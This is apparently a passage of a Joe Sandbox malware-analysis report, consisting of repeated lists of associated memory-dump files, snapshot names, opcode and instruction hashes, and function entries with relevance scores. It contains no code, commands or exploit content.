                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID: 0
                                                                                                                                                                                                                                                                                    • API String ID: 0-4108050209
                                                                                                                                                                                                                                                                                    • Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
                                                                                                                                                                                                                                                                                    • Instruction ID: 9a6e6b8c1e5c94d9c2aa13dcde17b580b4296706216a35a41c64f5e905b39516
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: CC51BD3024D6B45ADB388A28B9D67BF67CADF15300F1405E9E44EE72C2CE129D49835A
                                                                                                                                                                                                                                                                                    Function 00AF4DE0 Relevance: .7, Instructions: 701COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                                                                                    • Opcode ID: b5d8bab15ee21a51e1dca56432c38254503257a0838ab7436dc445242ec67475
                                                                                                                                                                                                                                                                                    • Instruction ID: 4fdc76cff2a283710467834479a045a31402d10736e91eeb047309f332d21ecc
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: b5d8bab15ee21a51e1dca56432c38254503257a0838ab7436dc445242ec67475
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 872251B3F516144BDB4CCB5DDCA27EDB2E3AFD8214B0E803DA40AE3345EA79D9158644
                                                                                                                                                                                                                                                                                    Function 00B37049 Relevance: .3, Instructions: 275COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                                                                                    • Opcode ID: e0280c61eafda0476aba30b089eee7b31fc300c88eba024ca7920696c7757db5
                                                                                                                                                                                                                                                                                    • Instruction ID: a50932a810fcae4a164f8d48b816a1a18c007b9c75a5861d95eb6a774444f319
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e0280c61eafda0476aba30b089eee7b31fc300c88eba024ca7920696c7757db5
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: EDB15D72654605DFD728CF28C886B657BE0FF45364F358698E899CF2A1CB35E982CB40
                                                                                                                                                                                                                                                                                    Function 00AF4B30 Relevance: .2, Instructions: 230COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                                                                                    • Opcode ID: f70a231fb8a36eac7d97f207fb9de38f3c5bc9673bea68c2e960c5b20b904d1e
                                                                                                                                                                                                                                                                                    • Instruction ID: ad7c327d6ddbb7b8e9b8cbdec6e7a6c6261885f6ad22bd96b506857bb904d5ed
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f70a231fb8a36eac7d97f207fb9de38f3c5bc9673bea68c2e960c5b20b904d1e
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 2181F271A052498FEB15CFA9D8907BFBBF1FB1A300F1502A9EA5097393C7359945CBA0
                                                                                                                                                                                                                                                                                    Function 00B378BB Relevance: .1, Instructions: 104COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
